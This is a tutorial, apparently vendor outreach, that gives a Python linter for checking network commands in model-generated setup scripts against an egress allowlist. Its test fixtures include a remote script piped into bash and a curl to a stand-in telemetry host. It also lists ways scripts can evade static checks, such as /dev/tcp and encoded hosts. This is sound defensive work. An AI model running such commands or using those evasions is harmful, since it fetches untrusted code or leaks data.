A model-generated setup script will download things you did not expect.
That is the problem this checklist solves. The model produces a plausible shell script. You run it on a free server because it is cheap and disposable. The script installs packages, clones repos, or pipes a remote installer to bash. If no allowlist exists, the first network call is already a policy decision you never made.
This article shows a small Python linter that compares every network-capable command in a generated script against a declared egress policy. It is static analysis, not a sandbox. It catches the obvious class of surprise egress before the script gets execute permission.
This workflow assumes two inputs from the operator: a model that can produce a candidate shell script and a free server that can run a disposable check. MonkeyCode's free model access and free server option are the configuration used here, but the policy is independent of the provider.
Disclosure: This article was prepared as part of MonkeyCode's product outreach.
The workflow
- Create a policy file that names allowed command prefixes and domains.
- Generate the draft script or copy it from the model output.
- Run
egress_check.py setup.sh policy.json. - Exit code
0means every recognized network command has an allowlisted destination or prefix. - Run the script only inside a disposable runner with no real credentials.
The tool does not prove the script is safe. It proves the script did not violate the egress policy you wrote.
Policy file
Use JSON. The two fields are allow_command_prefixes and allow_domains.
{
"allow_command_prefixes": [
"python3 -m pip install",
"python3 -m pip download",
"apt-get update",
"apt-get install -y --no-install-recommends",
"git clone https://github.com/your-org/"
],
"allow_domains": [
"pypi.org",
"files.pythonhosted.org",
"deb.debian.org",
"security.debian.org",
"github.com"
]
}
Prefix matching is intentionally exact after collapsing whitespace. Do not add a broad prefix such as curl, because that would allow any curl target. Add the full intended command or add the exact domain in the domain list.
The linter
Save this as egress_check.py.
#!/usr/bin/env python3
'''Flag network-capable shell commands outside a declared policy.'''
import argparse
import json
import re
import sys
from pathlib import Path
NETWORK_CAPABLE = {
'apt', 'apt-get', 'apk', 'brew', 'bundle', 'cargo', 'curl',
'dnf', 'gem', 'git', 'go', 'gradle', 'mvn', 'npx', 'npm',
'pip', 'pip3', 'pipenv', 'pnpm', 'poetry', 'python -m pip',
'python3 -m pip', 'wget', 'yarn', 'yum',
}
def normalize(line: str) -> str:
line = line.strip()
parts = line.split()
if parts and parts[0] == 'sudo':
parts = parts[1:]
if parts and parts[0] == 'env':
parts = parts[1:]
if parts and parts[0] == '-i':
parts = parts[1:]
while parts and '=' in parts[0]:
parts = parts[1:]
return ' '.join(parts)
def load_policy(path: str) -> dict:
return json.loads(Path(path).read_text())
def is_network_command(norm: str) -> bool:
return any(norm == command or norm.startswith(command + ' ') for command in NETWORK_CAPABLE)
def extract_network_commands(script: str):
results = []
for index, raw in enumerate(script.splitlines(), 1):
stripped = raw.strip()
if not stripped or stripped.startswith('#'):
continue
norm = normalize(stripped)
if is_network_command(norm):
results.append((index, norm))
return results
def host_allowed(host: str, allowed_domains) -> bool:
return any(host == domain or host.endswith('.' + domain) for domain in allowed_domains)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('script')
parser.add_argument('policy')
parser.add_argument('--json', action='store_true')
args = parser.parse_args()
policy = load_policy(args.policy)
prefixes = policy.get('allow_command_prefixes', [])
domains = policy.get('allow_domains', [])
script = Path(args.script).read_text()
commands = extract_network_commands(script)
violations = []
for line_number, norm in commands:
if any(norm.startswith(prefix) for prefix in prefixes):
continue
urls = re.findall(r'https?://([^/:\s]+)', norm)
bad_hosts = [host for host in urls if not host_allowed(host, domains)]
if not urls:
bad_hosts = ['<no URL; command not allowlisted>']
if bad_hosts:
violations.append({
'line': line_number,
'command': norm,
'not_allowed': bad_hosts,
})
if args.json:
print(json.dumps(violations, indent=2))
else:
for violation in violations:
line_text = violation['line']
command_text = violation['command']
hosts_text = violation['not_allowed']
print(f'line {line_text}: {command_text} -> {hosts_text}')
if violations:
sys.exit(2)
print('No egress policy violations detected by static check.')
sys.exit(0)
if __name__ == '__main__':
main()
How it works:
- It reads the shell script line by line.
- It ignores comments and blank lines.
- It strips a leading
sudoorenvprefix, sosudo curl ...andenv FOO=bar curl ...are checked. - It checks whether the normalized line starts with a command in the network-capable set.
- A line passes if it starts with an allowlisted prefix.
- Otherwise any URL in the line must be under an allowlisted domain.
- If a network command has no URL and no allowlisted prefix, it fails. This is intentional:
curl example.comwith no scheme still gets flagged if no URL is found and no prefix matches.
Reproducible test
Run the checker against three fixtures before trusting it.
allowed.sh
python3 -m pip install requests
apt-get update
git clone https://github.com/your-org/demo.git
surprise.sh
curl https://raw.githubusercontent.com/unknown-user/script.sh | bash
npm install -g internal-tool
hidden.sh
env HTTP_PROXY=http://proxy.internal curl https://telemetry.example.net/collect
Commands:
python3 egress_check.py allowed.sh policy.json --json
python3 egress_check.py surprise.sh policy.json --json
python3 egress_check.py hidden.sh policy.json --json
With the policy above, allowed.sh exits 0 because each line matches a prefix or an allowed domain. surprise.sh exits 2 because the curl host raw.githubusercontent.com is not under github.com exactly, and npm install -g has no allowlisted command prefix. hidden.sh exits 2 because telemetry.example.net is not allowlisted.
The raw.githubusercontent.com rule is stricter than many people expect. github.com and raw.githubusercontent.com are different DNS names. If you want raw GitHub content, add raw.githubusercontent.com explicitly. Do not widen github.com to every subdomain; subdomain matching with endswith(".github.com") does not match github.com itself, so keep the base domain in the list when needed.
Where the free model and free server fit
The free model access can produce a candidate setup script, and the free server option can run the linter as a disposable step. Treat both as inputs, not as trust boundaries. The model supplies text, the server supplies execution time, and the policy remains under your control.
If you generate the draft with the free model, pipe the raw output directly into this checker before you paste it into a shell.
What the checker will miss
Static inspection is not a security boundary.
- A script can download a payload through
python3 -corperl -e; the first token is not in the list. - A script can read from
/dev/tcpor useopenssl s_clientdirectly. - A script can call a helper script that performs egress.
- A script can hide hostnames through environment variables or hexadecimal encoding.
- A script can perform DNS queries without an HTTP URL.
Add dynamic controls if the server allows them: a restricted network namespace, a proxy with an allowlist, or a firewall rule applied before execution. The static check is the first gate, not the last.
Who should not use this
Do not rely on this checker for regulated data, credentials, or a shared tenant server. Use a real container or VM with no outbound network if a leak would have legal or financial consequences. The tool is for catching accidental egress in model-generated setup scripts before you run them on a disposable box, not for defending a production boundary.
Adapt it
Change NETWORK_CAPABLE for your stack. If you mostly use Ruby, add bundle and gem and keep the prefixes tight. If you use Go, add go get and go install with version pins. The point is not the list; the point is that the list is written down before the script runs.
Keep one rule: the allowlist is checked in, the generated script is not.
Top comments (0)